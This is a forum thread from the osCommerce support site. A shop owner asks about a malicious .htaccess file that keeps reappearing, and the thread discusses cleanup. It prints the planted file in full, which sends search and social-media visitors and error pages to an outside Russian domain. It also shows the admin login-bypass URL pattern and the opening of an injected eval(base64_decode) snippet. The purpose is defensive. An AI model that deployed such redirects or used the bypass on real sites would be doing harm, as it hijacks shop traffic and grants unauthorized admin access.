Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Bad .htaccess constantly created


Tcat42

Recommended Posts

So far I've had little luck with this. I went through after several failed attempts to "secure" my shopping cart as this site has recommended I'm getting a stray .htaccess file that keeps being generated daily. I have five sites being hosted with four carts on my account. As far as I can tell the carts have been fine (which is a first), but in each site's main directory is the stray .htaccess that SHOULDN'T be there. I need to know how to stop the file from being generated as I'm not sure WHERE it's coming from. I'm not sure what it even DOES, but I know it's not supposed to be there. Pretty much the only thing I can do right now is delete the files every morning. (I took the HTTP off the site addresses just in case someone clicks on them. I don't know where it goes and quite frankly I'm not about to check).

 

File:

 

RewriteEngine On

ErrorDocument 400 rkdesignmodel.ru/idro/index.php

ErrorDocument 401 rkdesignmodel.ru/idro/index.php

ErrorDocument 403 rkdesignmodel.ru/idro/index.php

ErrorDocument 404 rkdesignmodel.ru/idro/index.php

ErrorDocument 500 rkdesignmodel.ru/idro/index.php

RewriteCond %{HTTP_REFERER} .*google.* [OR]

RewriteCond %{HTTP_REFERER} .*ask.* [OR]

RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]

RewriteCond %{HTTP_REFERER} .*baidu.* [OR]

RewriteCond %{HTTP_REFERER} .*youtube.* [OR]

RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]

RewriteCond %{HTTP_REFERER} .*qq.* [OR]

RewriteCond %{HTTP_REFERER} .*excite.* [OR]

RewriteCond %{HTTP_REFERER} .*altavista.* [OR]

RewriteCond %{HTTP_REFERER} .*msn.* [OR]

RewriteCond %{HTTP_REFERER} .*netscape.* [OR]

RewriteCond %{HTTP_REFERER} .*aol.* [OR]

RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]

RewriteCond %{HTTP_REFERER} .*goto.* [OR]

RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]

RewriteCond %{HTTP_REFERER} .*mamma.* [OR]

RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]

RewriteCond %{HTTP_REFERER} .*lycos.* [OR]

RewriteCond %{HTTP_REFERER} .*search.* [OR]

RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]

RewriteCond %{HTTP_REFERER} .*bing.* [OR]

RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]

RewriteCond %{HTTP_REFERER} .*facebook.* [OR]

RewriteCond %{HTTP_REFERER} .*twitter.* [OR]

RewriteCond %{HTTP_REFERER} .*blog.* [OR]

RewriteCond %{HTTP_REFERER} .*live.* [OR]

RewriteCond %{HTTP_REFERER} .*myspace.* [OR]

RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR]

RewriteCond %{HTTP_REFERER} .*rambler.* [OR]

RewriteCond %{HTTP_REFERER} .*ya.* [OR]

RewriteCond %{HTTP_REFERER} .*aport.* [OR]

RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]

RewriteCond %{HTTP_REFERER} .*flickr.*

RewriteRule ^(.*)$ rkdesignmodel.ru/idro/index.php [R=301,L]

Link to comment
Share on other sites

I'm not sure what it even DOES.

 

It redirects all of the good bots like Google and any site errors to some Russian web site: -

 

rkdesignmodel.ru/idro/

Link to comment
Share on other sites

Ugh, that's what I figured.

 

But how do I get rid of it? Permanently!

 

Hard to say .. possibly the server has been hacked .. speak to your hosts.

Link to comment
Share on other sites

I have. On several occasions. Just as often as I've changed passwords, double checked files for bad code, and added all the "fixes" Oscommerce has tossed at me (which so far hasn't seemed to fix anything). Netfirms hates the software just as much as I do and admitted to my face it's flawed, but I don't have a choice but to keep it. And I'm getting a little tired of Netfirms saying it's OScommerce's problem and I'm tired of Oscommerce saying it's my host's problem. Anytime I've gotten hacked it's ALWAYS been from Oscommerce because that's only been the files affected. Netfirms helps as best they can (which usually involves me going back in and replacing files with the backups anyway), but it's not their job.. it's software devs that don't bother to correct giant gaping holes in the first place. :|

Link to comment
Share on other sites

I have. On several occasions. Just as often as I've changed passwords, double checked files for bad code, and added all the "fixes" Oscommerce has tossed at me (which so far hasn't seemed to fix anything).

 

Perhaps that is because it is the hosting that is compromised and not osCommerce.

 

Netfirms hates the software just as much as I do and admitted to my face it's flawed, but I don't have a choice but to keep it.

 

Netfirms obviously in that case don't have a clue what they are talking about, nothing new with web hosts.

 

And I'm getting a little tired of Netfirms saying it's OScommerce's problem and I'm tired of Oscommerce saying it's my host's problem.

 

Anytime I've gotten hacked it's ALWAYS been from Oscommerce because that's only been the files affected.

 

I can understand you being frustrated, especially with your hosts for whos service you pay, but osCommerce has hundreds of thousands of users and a dev team that, if slow to produce things, are very exacting in their code practises and quality control when they do.

 

Yes recently there have been a few vulnerabilities discovered but this is the case with ALL extremely popular freely available software be it phpBB or Mambo or Joomla or Wordpress or Drupal etc etc.

 

The number of vulnerabilities found in osCommerce is in fact relatively small AND revisions have been made to close those holes so .. no it's unlikely to be the problem of osCommerce if you have followed the updates.

 

Netfirms helps as best they can (which usually involves me going back in and replacing files with the backups anyway), but it's not their job..

it's software devs that don't bother to correct giant gaping holes in the first place.

 

Again it is easy for web hosts to point the finger at scripts and it is almost always exactly what they do, but did they actually examine the logs and TELL you where the hack vector was? I'll bet they didn't.

 

Also hosts have the option to remove the ability for files to be created in root ( like .htaccess ) have they done this? doesn't seem so.

 

I could be wrong and you may have installed some aweful contribution ( contributions are written by individuals and there is therefore no quality control ) but don't discount your hosts being the problem as it is equally possible and in fact probable ( especially in a shared hosting environment ) if you have applied all security recommendations and patches.

Link to comment
Share on other sites

Just as often as I've changed passwords, double checked files for bad code, and added all the "fixes" Oscommerce has tossed at me (which so far hasn't seemed to fix anything).

I don't see you listing that you've scanned your PC(s) for spyware, such as keystroke loggers and password sniffers. There's no point in changing passwords if the hacker knows the new one as soon as you press Enter. Do you have a firewall on your PC, so spyware can't transfer out collected data without you knowing about it? Do you use unsecured (unencrypted) WiFi to access your site? Someone could be eavesdropping and getting your passwords. How thoroughly have you checked for hack code? Remember, it's likely to be encoded in some way, so you won't find it simply searching for that URL. Unfortunately, this can mean a painstaking line-by-line review of the code. At least, you can look for base64_decode() (and other encoding methods) calls that shouldn't be there. Finally, until you find and plug the security hole, think about automating the way to find and remove all the bogus .htaccess files you get. Maybe an hourly cron job that finds and erases any .htaccess younger than, say an hour? If any of them have replaced a real .htaccess file, have a read-only copy to copy back in. Most likely the hack is automated (code somewhere, rather than some guy signing onto your account and manually planting the .htaccess files).

Link to comment
Share on other sites

Yeah.. revisions have been made to OScommerce and new versions constantly come out.. but old database entries don't work with newer versions. I tried this once and had to start from scratch with 500 + items in my cart because when I asked how database transfer would work I got snarked at after I didn't understand their directions. I am NOT doing that again.

 

I upkeep two PCs and constantly scan for issues and update virus definitions, it's not spyware/malware. Not to mention I reformated my laptop in December and this has been an on going issue since 2007. Yes I have a firewall, yes I have secured internet, yes I've been through the code several times (I made backups from when I first installed the site and have been using that to replace most, if not all, files when the cart goes down... which has been at least once a month since I installed the bloody thing). And I'm not that skilled to write my own programs and can't afford to hire someone else. I'm unemployed and broke as it is.

Link to comment
Share on other sites

I've been chasing some hackers on some of my client's sites and I know how frustrating it can be. I'm sure you've done a lot of work to secure the site and to follow the security directions. These are also among the latter, but I recommend them anyway:

 

- Sitemonitor checks your site on a regular basis (cron job - you decide!) for added or changed files. It also has a button to look for suspicious code in files - useful but use with caution! Follow this link

- Don't forget to check the image folders - there should be no .php files in it!

- Change the name of the admin dir - leave a folder named admin with a bogus index and login page setup that do nothing but returning "invalid login" - to keep them busy ;-) You could even register the referrer data to track them... or use IP Trap whenever one enters this directory to bn the IP address...

- Protect your real "admin" folder with .htacces - with credentials that are different from the admin login.

 

These are only hints... Good luck!

Link to comment
Share on other sites

These are only hints... Good luck!

Thanks for the hints, but the damage has already been done.. I know already know what to look for that's suspicious. I just can't get this .htaccess file to stop being created every day.

Link to comment
Share on other sites

Tania,

 

Have you considered having someone more experienced look at your site ? There still could be backdoors on your server and/or a cron job or triggered script present.

 

Just my thoughts.

 

 

 

Chris

Link to comment
Share on other sites

What is the file permissions set at for .htaccess in your root folder? Also have you scanned your other folders for malicious shell code? In particular folders that have 777 write permissions like the image folder?

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

In particular folders that have 777 write permissions like the image folder?

 

The images directory does not require permissions of 777, in fact, there are NO know directories that require permissions of 777.

 

 

 

Chris

Link to comment
Share on other sites

How is oscommerce then able to upload images to the images folder via the admin section if that folder is not writeable at least to the group?

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

How is oscommerce then able to upload images to the images folder via the admin section if that folder is not writeable at least to the group?

It depends on how your server is configured -- specifically, under what user ID PHP is running. If it is running as you (owner), 755 is sufficient. If it's running in your same group, 775 will do. If it's running as some random user (world), 777 will be needed. 777 can be quite hazardous, as anyone sharing your server will be able to write to that directory. Consider changing it back to 755 when you're done uploading files, and revert to 777 only when you are actively uploading.

Link to comment
Share on other sites

Absolutely agree, but by far the average experience with oscommerce users would be shared webhosting which leaves them with no choice other than 777 for the image folder.

 

But while we are on the subject, it is by no accident that an attacker ends up with a script on your webserver allowing them the ability to upload files into writeable folders, and/or append malicious eval() code to writeable files.

 

That really is the main thing to focus on. Preventing the intrusion in the first place. When it comes to Oscommerce the basic unauthorised access comes from being able to circumvent the admin permissions by appending the login.php script to most of the admin files.

 

Example:

administrators.php/login.php?action=new

 

Simple put,

 

    if(stristr($_SERVER['REQUEST_URI'],'.php/login')) {
       die("dead");
   }

 

...appended into admin/includes/application_top.php would put an end to 99% of the admin permissions attacks.

 

Its not a patch, just a door jammer of sorts, at least that would put an end to the ability to upload files, add administrators, add, edit and delete products....by unauthorised users.

 

Back this up with htaccess and bobs your uncle...

 

The problem essentially is that many users of oscommerce do not know the first thing about php or apache or mysql, and so therefore will not be familiar with channel modding or htaccess or even renaming folders.

 

So as a first of the blocks approach, Oscommerce default package needs to put an end to the login.php skirting around permissions, that way oscommerce users can just install and they are away, then there are more parts to add, all needing a little more skill to do so, so secondly htaccess for the admin folder, then all the other massive array of security codes out there doing hit and miss with every other possible injection/malicious requests (except it seems for the one that matters).

 

My guess with Tcat42 is that either .htaccess is writeable 666 therefore an attacker who has probably uploaded a shell script somewhere into the writeable folders allowing them to write over writeable files on the oscommerce website, has been able to append a line in the htaccess which causes a redirect for web spiders.

 

So merely cleaning up the file and changing file permissions just makes the attackers job a little harder but it doesnt remove their ability to access the admin area, and do whatever they want if that part has not been patched.

 

If .htaccess is not writeable in Tcat42s root folder, and the main root folder is not accidentally writeable (777) then there is no other option that it is a server hosting issue.

 

Afterall it is not magic, in order to write into files and folders from an uploaded script, the file permissions need to allow that. Many of the shell scripts floating around do attempt to change file permissions, and if on a misconfigured server, would be allowed to, but that is not the norm.

 

So if the htaccess file is not writeable, and the folder it is in is not writeable, then barring the possibility that someone may have FTP access, that means that the attack must have come from another security hole in the actual webserver itself. That has been my experience anyway.

 

So first things first, hacked users need to be able to block an attacker from playing with the admin section or else everything you do can be undone in seconds.

 

So start by appending that code into the admin/includes/application_top.php file somewhere near the top.

 

Then check to see if there are any extra admins been added, delete them if so.

 

Then check the writeable folders if any (folders set to 777 which there will probably only be one, the image folder) for .php files or any other files except for image files.

 

Lastly check through the code in all the header files like application_top and header.php for any extra code that starts with stuff like below:

<?php eval(base64_decode("ZnVuY3Rpb24gZXZhbGhJT29M

 

After that there is a raft of other instructions for cleanups that are floating around, mostly common sense.

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...